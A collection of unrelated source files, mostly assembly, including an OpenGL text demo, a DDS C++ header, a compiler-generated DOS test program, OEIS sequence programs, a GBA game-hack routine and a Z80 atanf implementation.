Rotate on Z axis 45 degrees clockwise fld r4_30_0 fmul cnt1 fstp red ; naughty. red is a bad variable name here. _glRotatef red, 1.0f, 1.0f, 0.0f ; Rotate on X&Y axis by cnt1. invoke glDisable, GL_BLEND ; Disable blending _glColor3f 1.0f, 1.0f, 1.0f ; Bright white invoke glBegin, GL_QUADS _glTexCoord2f 0.0f, 0.0f _glVertex2f -1.0f, 1.0f _glTexCoord2f 1.0f, 0.0f _glVertex2f 1.0f, 1.0f _glTexCoord2f 1.0f, 1.0f _glVertex2f 1.0f, -1.0f _glTexCoord2f 0.0f, 1.0f _glVertex2f -1.0f, -1.0f invoke glEnd _glRotatef 90.0f, 1.0f, 1.0f, 0.0f invoke glBegin, GL_QUADS _glTexCoord2f 0.0f, 0.0f _glVertex2f -1.0f, 1.0f _glTexCoord2f 1.0f, 0.0f _glVertex2f 1.0f, 1.0f _glTexCoord2f 1.0f, 1.0f _glVertex2f 1.0f, -1.0f _glTexCoord2f 0.0f, 1.0f _glVertex2f -1.0f, -1.0f invoke glEnd invoke glEnable, GL_BLEND invoke glLoadIdentity fld cnt1 fcos fstp red fld cnt2 fsin fstp green fld cnt1 fadd cnt2 fcos fmul r4_0_5 fsubr r4_1_0 fstp blue _glColor3f red, green, blue fld cnt1 fcos fmul r4_250_0 fadd r4_280_0 fistp x fld cnt2 fsin fmul r4_200_0 fadd r4_235_0 fistp y invoke glPrint, x, y, addr txt_NeHe, 0 ; Print NeHe on the screen fld cnt2 fsin fstp red ; Calc red for OpenGL fld cnt1 fadd cnt2 fcos fmul r4_m0_5 fsubr r4_1_0 fstp green ; Calc green for OpenGL fld cnt1 fcos fstp blue ; Calc blue for OpenGl invoke glColor3f, red, green, blue fld cnt2 fcos fmul r4_230_0 fadd r4_280_0 fistp x ; X Coord for OpenGL fld cnt1 fsin fmul r4_200_0 fadd r4_235_0 fistp y ; Y Coord for OpenGL invoke glPrint, x, y, addr txt_OpenGL, 1 ; Print OpenGL on the screen invoke glColor3f, r4_0_0, r4_0_0, r4_1_0 ; Set the colour to a dark blue fld cnt1 fadd cnt2 fdiv r4_5_0 fcos fmul r4_200_0 fadd r4_240_0 fistp x invoke glPrint, x, 2, addr txt_Giueseppe, 0 invoke glColor3f, r4_1_0, r4_1_0, r4_1_0 ; Set the colour to a dark blue add x, 2 invoke glPrint, x, 2, addr txt_Giueseppe, 0 fld cnt1 ; Increase cnt1 fadd r4_0_01 fstp cnt1 fld cnt2 ; Increase cnt2 fadd r4_0_0081 fstp cnt2 mov eax, 1 ret DrawGLScene endp end start
#ifndef DDS_STREAMS_SUB_DATAREADER_HPP_ #define DDS_STREAMS_SUB_DATAREADER_HPP_ /* * OpenSplice DDS * * This software and documentation are Copyright 2006 to TO_YEAR PrismTech * Limited, its affiliated companies and licensors. All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ /** * @file */ #include <spec/dds/streams/sub/StreamDataReader.hpp> namespace dds { namespace streams { namespace sub { template <typename SELECTOR> SELECTOR& get(SELECTOR& selector) { selector.get(); return selector; } inline dds::streams::sub::functors::MaxSamplesManipulatorFunctor max_samples(uint32_t max_samples) { return dds::streams::sub::functors::MaxSamplesManipulatorFunctor(max_samples); } inline dds::streams::sub::functors::TimeoutManipulatorFunctor timeout(const dds::core::Duration& timeout) { return dds::streams::sub::functors::TimeoutManipulatorFunctor(timeout); } template <typename T> inline dds::streams::sub::functors::FilterManipulatorFunctor<T> filter(bool (*filter_func)(T)) { return dds::streams::sub::functors::FilterManipulatorFunctor<T>(filter_func); } } } } #endif /* DDS_STREAMS_SUB_DATAREADER_HPP_ */
include macros2.asm include number.asm .MODEL LARGE .386 .STACK 200h MAXTEXTSIZE equ 50 .DATA _nAux dd ? _n1 dd ? _n2 dd ? _n3 dd ? _t1 db MAXTEXTSIZE dup (?),'$' _t2 db MAXTEXTSIZE dup (?),'$' _t3 db MAXTEXTSIZE dup (?),'$' T_Bienvenido_al_sistema_de_pruebas db "Bienvenido al sistema de pruebas$",'$', 17 dup (?) T_Ingrese_un_numero_por_favor db "Ingrese un numero por favor$",'$', 22 dup (?) T_Que_interesante db "Que interesante$",'$', 34 dup (?) _AUX_valorFib dd ? _AUX_valorAnterior1 dd ? _AUX_valorAnterior2 dd ? _AUX_posicion dd ? _0 dd 0.0 _1 dd 1.0 _2 dd 2.0 T_La_secuencia_de_fibonacci_de_este_numero_es db "La secuencia de fibonacci de este numero es$",'$', 6 dup (?) T_Ingrese_otro_numero_por_favor db "Ingrese otro numero por favor$",'$', 20 dup (?) T_El_primer_numero_ingresado_es_mayor_al_segundo db "El primer numero ingresado es mayor al segundo$",'$', 3 dup (?) T_La_diferencia_entre_ambos_es db "La diferencia entre ambos es$",'$', 21 dup (?) T_El_primer_numero_ingresado_es_menor_al_segundo db "El primer numero ingresado es menor al segundo$",'$', 3 dup (?) T_Los_numeros_son_iguales db "Los numeros son iguales$",'$', 26 dup (?) T_De_hecho_ambos_numeros_son_mayores_a_1 db "De hecho ambos numeros son mayores a 1$",'$', 11 dup (?) T_De_hecho_uno_de_ellos_no_es_mayor_a_1 db "De hecho uno de ellos no es mayor a 1$",'$', 12 dup (?) _3 dd 3.0 T_Y_tambien_se_que_alguno_de_los_dos_es_tres db "Y tambien se que alguno de los dos es tres$",'$', 7 dup (?) T_Y_tambien_se_que_ninguno_de_los_dos_es_tres db "Y tambien se que ninguno de los dos es tres$",'$', 6 dup (?) T_Solo_una_cosa_mas db "Solo una cosa mas$",'$', 32 dup (?) T_Ingrese_un_texto db "Ingrese un texto$",'$', 33 dup (?) T_El_texto_es_ db "El texto es $",'$', 37 dup (?) T_Ahora_algunas_operaciones db "Ahora algunas operaciones$",'$', 24 dup (?) T_El_primer_numero_mas_5_es db "El primer numero mas 5 es$",'$', 24 dup (?) _5 dd 5.0 T_El_segundo_numero_por_3_es db "El segundo numero por 3 es$",'$', 23 dup (?) T_Y_si_los_sumamos_y_los_dividimos_por_2 db "Y si los sumamos y los dividimos por 2$",'$', 11 dup (?) T_Gracias_por_ db "Gracias por $",'$', 37 dup (?) T_realizar_la_prueba db "realizar la prueba$",'$', 31 dup (?) T_Terminando_en db "Terminando en$",'$', 36 dup (?) _aux db MAXTEXTSIZE dup (?),'$' _msgPRESIONE db 0DH,0AH,"Presione una tecla para continuar...",'$' _NEWLINE db 0DH,0AH,'$' .CODE ;************************************************************ ; devuelve en BX la cantidad de caracteres que tiene un string ; DS:SI apunta al string. ; STRLEN PROC mov bx,0 STRL01: cmp BYTE PTR [SI+BX],'$' je STREND inc BX jmp STRL01 STREND: ret STRLEN ENDP ;*********************************************************************8 ; copia DS:SI a ES:DI; busca la cantidad de caracteres ; COPIAR PROC call STRLEN cmp bx,MAXTEXTSIZE jle COPIARSIZEOK mov bx,MAXTEXTSIZE COPIARSIZEOK: mov cx,bx cld rep movsb mov al,'$' mov BYTE PTR [DI],al ret COPIAR ENDP ;******************************************************* ; concatena DS:SI al final de ES:DI. ; ; busco el size del primer string ; sumo el size del segundo string ; si la suma excede MAXTEXTSIZE, copio solamente MAXTEXTSIZE caracteres ; si la suma NO excede MAXTEXTSIZE, copio el total de caracteres que tiene el segundo string ; CONCAT PROC push ds push si call STRLEN mov dx,bx mov si,di push es pop ds call STRLEN add di,bx add bx,dx cmp bx,MAXTEXTSIZE jg CONCATSIZEMAL CONCATSIZEOK: mov cx,dx jmp CONCATSIGO CONCATSIZEMAL: sub bx,MAXTEXTSIZE sub dx,bx mov cx,dx CONCATSIGO: push ds pop es pop si pop ds cld rep movsb mov al,'$' mov BYTE PTR [DI],al ret CONCAT ENDP START: mov AX,@DATA mov DS,AX mov es,ax mov dx,OFFSET T_Bienvenido_al_sistema_de_pruebas mov ah,9 int 21h newLine 1 mov dx,OFFSET T_Ingrese_un_numero_por_favor mov ah,9 int 21h newLine 1 GetFloat _n1 mov dx,OFFSET T_Que_interesante mov ah,9 int 21h newLine 1 fld _n1 fld _2 fxch fcomp fstsw ax ffree st(0) sahf JAE ET_12 fld _n1 fstp _AUX_valorFib JMP ET_19 ET_12: fld _0 fstp _AUX_valorAnterior1 fld _1 fstp _AUX_valorAnterior2 fld _2 fstp _AUX_posicion ET_28: fld _AUX_posicion fld _n1 fxch fcomp fstsw ax ffree st(0) sahf JA ET_32 fld _AUX_valorAnterior1 fld _AUX_valorAnterior2 fadd fstp _AUX_valorFib fld _AUX_valorAnterior2 fstp _AUX_valorAnterior1 fld _AUX_valorFib fstp _AUX_valorAnterior2 fld _AUX_posicion fld _1 fadd fstp _AUX_posicion JMP ET_28 ET_32: ET_19: fld _AUX_valorFib fstp _n3 mov dx,OFFSET T_La_secuencia_de_fibonacci_de_este_numero_es mov ah,9 int 21h newLine 1 displayFloat _n3,2 newLine 1 mov dx,OFFSET T_Ingrese_otro_numero_por_favor mov ah,9 int 21h newLine 1 GetFloat _n2 fld _n1 fld _n2 fxch fcomp fstsw ax ffree st(0) sahf JBE ET_69 mov dx,OFFSET T_El_primer_numero_ingresado_es_mayor_al_segundo mov ah,9 int 21h newLine 1 fld _0 fstp _n3 fld _n2 fstp _nAux ET_78: fld _nAux fld _n1 fxch fcomp fstsw ax ffree st(0) sahf JAE ET_82 fld _nAux fld _1 fadd fstp _nAux fld _n3 fld _1 fadd fstp _n3 JMP ET_78 ET_82: mov dx,OFFSET T_La_diferencia_entre_ambos_es mov ah,9 int 21h newLine 1 displayFloat _n3,2 newLine 1 JMP ET_104 ET_69: fld _n1 fld _n2 fxch fcomp fstsw ax ffree st(0) sahf JAE ET_108 mov dx,OFFSET T_El_primer_numero_ingresado_es_menor_al_segundo mov ah,9 int 21h newLine 1 fld _0 fstp _n3 fld _n1 fstp _nAux ET_117: fld _nAux fld _n2 fxch fcomp fstsw ax ffree st(0) sahf JAE ET_121 fld _nAux fld _1 fadd fstp _nAux fld _n3 fld _1 fadd fstp _n3 JMP ET_117 ET_121: mov dx,OFFSET T_La_diferencia_entre_ambos_es mov ah,9 int 21h newLine 1 displayFloat _n3,2 newLine 1 JMP ET_143 ET_108: mov dx,OFFSET T_Los_numeros_son_iguales mov ah,9 int 21h newLine 1 ET_143: ET_104: fld _n1 fld _1 fxch fcomp fstsw ax ffree st(0) sahf JBE ET_150 fld _n2 fld _1 fxch fcomp fstsw ax ffree st(0) sahf JBE ET_150 mov dx,OFFSET T_De_hecho_ambos_numeros_son_mayores_a_1 mov ah,9 int 21h newLine 1 JMP ET_162 ET_150: mov dx,OFFSET T_De_hecho_uno_de_ellos_no_es_mayor_a_1 mov ah,9 int 21h newLine 1 ET_162: fld _n1 fld _3 fxch fcomp fstsw ax ffree st(0) sahf JE ET_168 fld _n2 fld _3 fxch fcomp fstsw ax ffree st(0) sahf JE ET_168 JMP ET_176 ET_168: mov dx,OFFSET T_Y_tambien_se_que_alguno_de_los_dos_es_tres mov ah,9 int 21h newLine 1 JMP ET_183 ET_176: mov dx,OFFSET T_Y_tambien_se_que_ninguno_de_los_dos_es_tres mov ah,9 int 21h newLine 1 ET_183: mov dx,OFFSET T_Solo_una_cosa_mas mov ah,9 int 21h newLine 1 mov dx,OFFSET T_Ingrese_un_texto mov ah,9 int 21h newLine 1 getString _t1 mov si,OFFSET T_El_texto_es_ mov di,OFFSET _t2 call COPIAR mov si,OFFSET _t2 mov di,OFFSET _aux call COPIAR mov si,OFFSET _t1 mov di,OFFSET _aux call CONCAT mov si,OFFSET _aux mov di,OFFSET _t3 call COPIAR mov dx,OFFSET _t3 mov ah,9 int 21h newLine 1 mov dx,OFFSET T_Ahora_algunas_operaciones mov ah,9 int 21h newLine 1 mov dx,OFFSET T_El_primer_numero_mas_5_es mov ah,9 int 21h newLine 1 fld _n1 fld _5 fadd fstp _n1 displayFloat _n1,2 newLine 1 mov dx,OFFSET T_El_segundo_numero_por_3_es mov ah,9 int 21h newLine 1 fld _n2 fld _3 fmul fstp _n2 displayFloat _n2,2 newLine 1 mov dx,OFFSET T_Y_si_los_sumamos_y_los_dividimos_por_2 mov ah,9 int 21h newLine 1 fld _n1 fld _n2 fadd fld _2 fdiv fstp _n3 displayFloat _n3,2 newLine 1 fld _1 fstp _n1 fld _2 fstp _n2 fld _3 fstp _n3 mov si,OFFSET T_Gracias_por_ mov di,OFFSET _t1 call COPIAR mov si,OFFSET T_realizar_la_prueba mov di,OFFSET _t2 call COPIAR mov dx,OFFSET T_Terminando_en mov ah,9 int 21h newLine 1 displayFloat _n3,2 newLine 1 displayFloat _n2,2 newLine 1 displayFloat _n1,2 newLine 1 mov si,OFFSET _t1 mov di,OFFSET _aux call COPIAR mov si,OFFSET _t2 mov di,OFFSET _aux call CONCAT mov si,OFFSET _aux mov di,OFFSET _t3 call COPIAR mov dx,OFFSET _t3 mov ah,9 int 21h newLine 1 mov dx,OFFSET _NEWLINE mov ah,09 int 21h mov dx,OFFSET _msgPRESIONE mov ah,09 int 21h mov ah, 1 int 21h mov ax, 4C00h int 21h END START
; ---------------------------------------------------------------------------------------- ; This is a simple asm function called "myfunc" that returns a constant integer 66 ; as function should return into RAX or otheinclueded , we use EAX as value is a simple integer ; ----------------------------------------------------------------------------------------- section .text global myfunc myfunc: mov eax,66 ret
; A138421: a(n) = (prime(n)^4 - prime(n)^2)/6. ; 2,12,100,392,2420,4732,13872,21660,46552,117740,153760,312132,470680,569492,812912,1314612,2018980,2307020,3357772,4234440,4732152,6490640,7908572,10455720,14753312,17341700,18756712,21844692,23524380,27172432,43354752,49080460,58709432,62213620,82143700,86643800,101258092,117647532,129628072,149285852,171098940,178875060,221804480,231241792,251016612,261366600,330345820,412153952,442531052,458334340,491206872,543791920,562224080,661510500,727067392,797380232,872673660,898917840,981210452,1039126760,1069027972,1228327492,1480463292,1559142520,1599637832,1682989772,2000583860,2149634032,2416367812,2472560300,2587879712,2768363880,3023498672,3226123252,3438765540,3586252672,3816315620,4140073212,4309466800,4663794280,5136914860,5235699140,5751160560,5858656272,6190198520,6418912292,6773793600,7269615992,7527493820,7658975632,7927098972,8773823840,9374816232,9686634580,10333541500,10668883512,11187117580,12279990840,12469640052,14276979180 seq $0,6005 ; The odd prime numbers together with 1. pow $0,2 max $0,4 bin $0,2 div $0,3
.macro blh to, reg ldr \reg, =\to mov lr, \reg .short 0xF800 .endm .thumb .global DrawingOffset_External .type DrawingOffset_External, %function DrawingOffset_External: cmp r0, #0x0D beq Label1 ldr r1, =DVTrapIDLink ldrb r1, [ r1 ] cmp r0, r1 beq Label2 ldr r1, =HealTileTrapIDLink ldrb r1, [ r1 ] cmp r0, r1 beq HealTileStuff b End Label1: mov r0, #0x66 ldr r1, =#0xFFFFB080 b Label3 Label2: ldr r0, =DVMapSpriteIDLink ldrb r0, [ r0 ] ldr r1, =#0xFFFFC080 b Label3 HealTileStuff: @ Now to check if the event ID is set. r4 has the current trap struct pointer. +0x7 has the event ID. ldrb r0, [ r4, #0x07 ] blh #0x08083DA8, r1 cmp r0, #0x00 bne End @ If the event ID isn't 0 (unset), exit. ldr r0, =HealTileMapSpriteIDLink ldrb r0, [ r0 ] ldr r1, =#0xFFFFD080 @ b Label3 Label3: push { r1 } push { r0 } ldr r1, =#0x08027321 ldrb r0, [ r4, #0x01 ] lsl r0, r0, #0x04 b End2 End: ldr r1, =#0x08027345 End2: bx r1
;-------------------------------------------------------- ; File Created by SDCC : free open source ANSI-C Compiler ; Version 4.0.3 #11868 (Linux) ;-------------------------------------------------------- ; Processed by Z88DK ;-------------------------------------------------------- EXTERN __divschar EXTERN __divschar_callee EXTERN __divsint EXTERN __divsint_callee EXTERN __divslong EXTERN __divslong_callee EXTERN __divslonglong EXTERN __divslonglong_callee EXTERN __divsuchar EXTERN __divsuchar_callee EXTERN __divuchar EXTERN __divuchar_callee EXTERN __divuint EXTERN __divuint_callee EXTERN __divulong EXTERN __divulong_callee EXTERN __divulonglong EXTERN __divulonglong_callee EXTERN __divuschar EXTERN __divuschar_callee EXTERN __modschar EXTERN __modschar_callee EXTERN __modsint EXTERN __modsint_callee EXTERN __modslong EXTERN __modslong_callee EXTERN __modslonglong EXTERN __modslonglong_callee EXTERN __modsuchar EXTERN __modsuchar_callee EXTERN __moduchar EXTERN __moduchar_callee EXTERN __moduint EXTERN __moduint_callee EXTERN __modulong EXTERN __modulong_callee EXTERN __modulonglong EXTERN __modulonglong_callee EXTERN __moduschar EXTERN __moduschar_callee EXTERN __mulint EXTERN __mulint_callee EXTERN __mullong EXTERN __mullong_callee EXTERN __mullonglong EXTERN __mullonglong_callee EXTERN __mulschar EXTERN __mulschar_callee EXTERN __mulsuchar EXTERN __mulsuchar_callee EXTERN __muluschar EXTERN __muluschar_callee EXTERN __rlslonglong EXTERN __rlslonglong_callee EXTERN __rlulonglong EXTERN __rlulonglong_callee EXTERN __rrslonglong EXTERN __rrslonglong_callee EXTERN __rrulonglong EXTERN __rrulonglong_callee EXTERN ___sdcc_call_hl EXTERN ___sdcc_call_iy EXTERN ___sdcc_enter_ix EXTERN _banked_call EXTERN _banked_ret EXTERN ___fs2schar EXTERN ___fs2schar_callee EXTERN ___fs2sint EXTERN ___fs2sint_callee EXTERN ___fs2slong EXTERN ___fs2slong_callee EXTERN ___fs2slonglong EXTERN ___fs2slonglong_callee EXTERN ___fs2uchar EXTERN ___fs2uchar_callee EXTERN ___fs2uint EXTERN ___fs2uint_callee EXTERN ___fs2ulong EXTERN ___fs2ulong_callee EXTERN ___fs2ulonglong EXTERN ___fs2ulonglong_callee EXTERN ___fsadd EXTERN ___fsadd_callee EXTERN ___fsdiv EXTERN ___fsdiv_callee EXTERN ___fseq EXTERN ___fseq_callee EXTERN ___fsgt EXTERN ___fsgt_callee EXTERN ___fslt EXTERN ___fslt_callee EXTERN ___fsmul EXTERN ___fsmul_callee EXTERN ___fsneq EXTERN ___fsneq_callee EXTERN ___fssub EXTERN ___fssub_callee EXTERN ___schar2fs EXTERN ___schar2fs_callee EXTERN ___sint2fs EXTERN ___sint2fs_callee EXTERN ___slong2fs EXTERN ___slong2fs_callee EXTERN ___slonglong2fs EXTERN ___slonglong2fs_callee EXTERN ___uchar2fs EXTERN ___uchar2fs_callee EXTERN ___uint2fs EXTERN ___uint2fs_callee EXTERN ___ulong2fs EXTERN ___ulong2fs_callee EXTERN ___ulonglong2fs EXTERN ___ulonglong2fs_callee EXTERN ____sdcc_2_copy_src_mhl_dst_deix EXTERN ____sdcc_2_copy_src_mhl_dst_bcix EXTERN ____sdcc_4_copy_src_mhl_dst_deix EXTERN ____sdcc_4_copy_src_mhl_dst_bcix EXTERN ____sdcc_4_copy_src_mhl_dst_mbc EXTERN ____sdcc_4_ldi_nosave_bc EXTERN ____sdcc_4_ldi_save_bc EXTERN ____sdcc_4_push_hlix EXTERN ____sdcc_4_push_mhl EXTERN ____sdcc_lib_setmem_hl EXTERN ____sdcc_ll_add_de_bc_hl EXTERN ____sdcc_ll_add_de_bc_hlix EXTERN ____sdcc_ll_add_de_hlix_bc EXTERN ____sdcc_ll_add_de_hlix_bcix EXTERN ____sdcc_ll_add_deix_bc_hl EXTERN ____sdcc_ll_add_deix_hlix EXTERN ____sdcc_ll_add_hlix_bc_deix EXTERN ____sdcc_ll_add_hlix_deix_bc EXTERN ____sdcc_ll_add_hlix_deix_bcix EXTERN ____sdcc_ll_asr_hlix_a EXTERN ____sdcc_ll_asr_mbc_a EXTERN ____sdcc_ll_copy_src_de_dst_hlix EXTERN ____sdcc_ll_copy_src_de_dst_hlsp EXTERN ____sdcc_ll_copy_src_deix_dst_hl EXTERN ____sdcc_ll_copy_src_deix_dst_hlix EXTERN ____sdcc_ll_copy_src_deixm_dst_hlsp EXTERN ____sdcc_ll_copy_src_desp_dst_hlsp EXTERN ____sdcc_ll_copy_src_hl_dst_de EXTERN ____sdcc_ll_copy_src_hlsp_dst_de EXTERN ____sdcc_ll_copy_src_hlsp_dst_deixm EXTERN ____sdcc_ll_lsl_hlix_a EXTERN ____sdcc_ll_lsl_mbc_a EXTERN ____sdcc_ll_lsr_hlix_a EXTERN ____sdcc_ll_lsr_mbc_a EXTERN ____sdcc_ll_push_hlix EXTERN ____sdcc_ll_push_mhl EXTERN ____sdcc_ll_sub_de_bc_hl EXTERN ____sdcc_ll_sub_de_bc_hlix EXTERN ____sdcc_ll_sub_de_hlix_bc EXTERN ____sdcc_ll_sub_de_hlix_bcix EXTERN ____sdcc_ll_sub_deix_bc_hl EXTERN ____sdcc_ll_sub_deix_hlix EXTERN ____sdcc_ll_sub_hlix_bc_deix EXTERN ____sdcc_ll_sub_hlix_deix_bc EXTERN ____sdcc_ll_sub_hlix_deix_bcix EXTERN ____sdcc_load_debc_deix EXTERN ____sdcc_load_dehl_deix EXTERN ____sdcc_load_debc_mhl EXTERN ____sdcc_load_hlde_mhl EXTERN ____sdcc_store_dehl_bcix EXTERN ____sdcc_store_debc_hlix EXTERN ____sdcc_store_debc_mhl EXTERN ____sdcc_cpu_pop_ei EXTERN ____sdcc_cpu_pop_ei_jp EXTERN ____sdcc_cpu_push_di EXTERN ____sdcc_outi EXTERN ____sdcc_outi_128 EXTERN ____sdcc_outi_256 EXTERN ____sdcc_ldi EXTERN ____sdcc_ldi_128 EXTERN ____sdcc_ldi_256 EXTERN ____sdcc_4_copy_srcd_hlix_dst_deix EXTERN ____sdcc_4_and_src_mbc_mhl_dst_deix EXTERN ____sdcc_4_or_src_mbc_mhl_dst_deix EXTERN ____sdcc_4_xor_src_mbc_mhl_dst_deix EXTERN ____sdcc_4_or_src_dehl_dst_bcix EXTERN ____sdcc_4_xor_src_dehl_dst_bcix EXTERN ____sdcc_4_and_src_dehl_dst_bcix EXTERN ____sdcc_4_xor_src_mbc_mhl_dst_debc EXTERN ____sdcc_4_or_src_mbc_mhl_dst_debc EXTERN ____sdcc_4_and_src_mbc_mhl_dst_debc EXTERN ____sdcc_4_cpl_src_mhl_dst_debc EXTERN ____sdcc_4_xor_src_debc_mhl_dst_debc EXTERN ____sdcc_4_or_src_debc_mhl_dst_debc EXTERN ____sdcc_4_and_src_debc_mhl_dst_debc EXTERN ____sdcc_4_and_src_debc_hlix_dst_debc EXTERN ____sdcc_4_or_src_debc_hlix_dst_debc EXTERN ____sdcc_4_xor_src_debc_hlix_dst_debc ;-------------------------------------------------------- ; Public variables in this module ;-------------------------------------------------------- GLOBAL _m32_atanf ;-------------------------------------------------------- ; Externals used ;-------------------------------------------------------- GLOBAL _m32_polyf GLOBAL _m32_hypotf GLOBAL _m32_ldexpf GLOBAL _m32_frexpf GLOBAL _m32_invsqrtf GLOBAL _m32_sqrtf GLOBAL _m32_invf GLOBAL _m32_sqrf GLOBAL _m32_div2f GLOBAL _m32_mul2f GLOBAL _m32_modff GLOBAL _m32_fmodf GLOBAL _m32_roundf GLOBAL _m32_floorf GLOBAL _m32_fabsf GLOBAL _m32_ceilf GLOBAL _m32_powf GLOBAL _m32_log10f GLOBAL _m32_log2f GLOBAL _m32_logf GLOBAL _m32_exp10f GLOBAL _m32_exp2f GLOBAL _m32_expf GLOBAL _m32_atanhf GLOBAL _m32_acoshf GLOBAL _m32_asinhf GLOBAL _m32_tanhf GLOBAL _m32_coshf GLOBAL _m32_sinhf GLOBAL _m32_atan2f GLOBAL _m32_acosf GLOBAL _m32_asinf GLOBAL _m32_tanf GLOBAL _m32_cosf GLOBAL _m32_sinf GLOBAL _poly_callee GLOBAL _poly GLOBAL _exp10_fastcall GLOBAL _exp10 GLOBAL _mul10u_fastcall GLOBAL _mul10u GLOBAL _mul2_fastcall GLOBAL _mul2 GLOBAL _div2_fastcall GLOBAL _div2 GLOBAL _invsqrt_fastcall GLOBAL _invsqrt GLOBAL _inv_fastcall GLOBAL _inv GLOBAL _sqr_fastcall GLOBAL _sqr GLOBAL _isunordered_callee GLOBAL _isunordered GLOBAL _islessgreater_callee GLOBAL _islessgreater GLOBAL _islessequal_callee GLOBAL _islessequal GLOBAL _isless_callee GLOBAL _isless GLOBAL _isgreaterequal_callee GLOBAL _isgreaterequal GLOBAL _isgreater_callee GLOBAL _isgreater GLOBAL _fma_callee GLOBAL _fma GLOBAL _fmin_callee GLOBAL _fmin GLOBAL _fmax_callee GLOBAL _fmax GLOBAL _fdim_callee GLOBAL _fdim GLOBAL _nexttoward_callee GLOBAL _nexttoward GLOBAL _nextafter_callee GLOBAL _nextafter GLOBAL _nan_fastcall GLOBAL _nan GLOBAL _copysign_callee GLOBAL _copysign GLOBAL _remquo_callee GLOBAL _remquo GLOBAL _remainder_callee GLOBAL _remainder GLOBAL _fmod_callee GLOBAL _fmod GLOBAL _modf_callee GLOBAL _modf GLOBAL _trunc_fastcall GLOBAL _trunc GLOBAL _lround_fastcall GLOBAL _lround GLOBAL _round_fastcall GLOBAL _round GLOBAL _lrint_fastcall GLOBAL _lrint GLOBAL _rint_fastcall GLOBAL _rint GLOBAL _nearbyint_fastcall GLOBAL _nearbyint GLOBAL _floor_fastcall GLOBAL _floor GLOBAL _ceil_fastcall GLOBAL _ceil GLOBAL _tgamma_fastcall GLOBAL _tgamma GLOBAL _lgamma_fastcall GLOBAL _lgamma GLOBAL _erfc_fastcall GLOBAL _erfc GLOBAL _erf_fastcall GLOBAL _erf GLOBAL _cbrt_fastcall GLOBAL _cbrt GLOBAL _sqrt_fastcall GLOBAL _sqrt GLOBAL _pow_callee GLOBAL _pow GLOBAL _hypot_callee GLOBAL _hypot GLOBAL _fabs_fastcall GLOBAL _fabs GLOBAL _logb_fastcall GLOBAL _logb GLOBAL _log2_fastcall GLOBAL _log2 GLOBAL _log1p_fastcall GLOBAL _log1p GLOBAL _log10_fastcall GLOBAL _log10 GLOBAL _log_fastcall GLOBAL _log GLOBAL _scalbln_callee GLOBAL _scalbln GLOBAL _scalbn_callee GLOBAL _scalbn GLOBAL _ldexp_callee GLOBAL _ldexp GLOBAL _ilogb_fastcall GLOBAL _ilogb GLOBAL _frexp_callee GLOBAL _frexp GLOBAL _expm1_fastcall GLOBAL _expm1 GLOBAL _exp2_fastcall GLOBAL _exp2 GLOBAL _exp_fastcall GLOBAL _exp GLOBAL _tanh_fastcall GLOBAL _tanh GLOBAL _sinh_fastcall GLOBAL _sinh GLOBAL _cosh_fastcall GLOBAL _cosh GLOBAL _atanh_fastcall GLOBAL _atanh GLOBAL _asinh_fastcall GLOBAL _asinh GLOBAL _acosh_fastcall GLOBAL _acosh GLOBAL _tan_fastcall GLOBAL _tan GLOBAL _sin_fastcall GLOBAL _sin GLOBAL _cos_fastcall GLOBAL _cos GLOBAL _atan2_callee GLOBAL _atan2 GLOBAL _atan_fastcall GLOBAL _atan GLOBAL _asin_fastcall GLOBAL _asin GLOBAL _acos_fastcall GLOBAL _acos GLOBAL _m32_coeff_atan ;-------------------------------------------------------- ; special function registers ;-------------------------------------------------------- ;-------------------------------------------------------- ; ram data ;-------------------------------------------------------- SECTION bss_compiler ;-------------------------------------------------------- ; ram data ;-------------------------------------------------------- IF 0 ; .area _INITIALIZED removed by z88dk ENDIF ;-------------------------------------------------------- ; absolute external ram data ;-------------------------------------------------------- SECTION IGNORE ;-------------------------------------------------------- ; global & static initialisations ;-------------------------------------------------------- SECTION code_crt_init ;-------------------------------------------------------- ; Home ;-------------------------------------------------------- SECTION IGNORE ;-------------------------------------------------------- ; code ;-------------------------------------------------------- SECTION code_compiler ; --------------------------------- ; Function m32_atanf ; --------------------------------- _m32_atanf: push ix ld ix,0 add ix,sp ld c, l ld b, h ld hl, -9 add hl, sp ld sp, hl ld (ix-4),c ld (ix-3),b ld (ix-2),e ld (ix-1),d ld l,(ix-4) ld h,(ix-3) call _m32_fabsf ld (ix-9),l ld (ix-8),h ld (ix-7),e ld (ix-6),d ld a,d and a,0x7f or a,e or a,h or a,l jr NZ,l_m32_atanf_00102 ld hl,0x0000 ld e,l ld d,h jp l_m32_atanf_00107 l_m32_atanf_00102: pop bc pop hl push hl push bc push hl push bc ld hl,0x3f80 push hl ld hl,0x0000 push hl call ___fslt_callee ld (ix-5),l ld a,l or a, a jr Z,l_m32_atanf_00104 pop bc pop de push de ld l,c ld h,b push hl call _m32_invf ld (ix-9),l ld (ix-8),h ld (ix-7),e ld (ix-6),d l_m32_atanf_00104: ld hl,0x0007 push hl ld hl,_m32_coeff_atan push hl ld l,(ix-7) ld h,(ix-6) push hl ld l,(ix-9) ld h,(ix-8) push hl call _m32_polyf ld a,(ix-5) or a,a ld c,l ld b,h jr Z,l_m32_atanf_00106 push de push bc ld hl,0x3fc9 push hl ld hl,0x0fdb push hl call ___fssub_callee ld c, l ld b, h l_m32_atanf_00106: push bc push de ld hl,0x0000 push hl push hl ld l,(ix-2) ld h,(ix-1) push hl ld l,(ix-4) ld h,(ix-3) push hl call ___fslt_callee pop de pop bc ld a,l or a, a jr Z,l_m32_atanf_00109 ld a, d xor a,0x80 ld d, a l_m32_atanf_00109: ld l, c ld h, b l_m32_atanf_00107: ld sp, ix pop ix ret SECTION IGNORE
; A262787: a(n) = 41^(2*n+1). ; 41,68921,115856201,194754273881,327381934393961,550329031716248441,925103102315013629321,1555098314991537910888601,2614120267500775228203738281,4394336169668803158610484050361,7386879101213258109624223688656841,12417343769139486882278320020632149721,20873554875923477449109855954682643681001,35088445746427365591953667859821524027762681,58983677299744401560074115672359981890669066761,99151561540870339022484588445237129558214701225241,166673774950203039896796593176443614787358912759630121 mul $0,2 mov $1,41 pow $1,$0 sub $1,1 mul $1,41 add $1,41 mov $0,$1
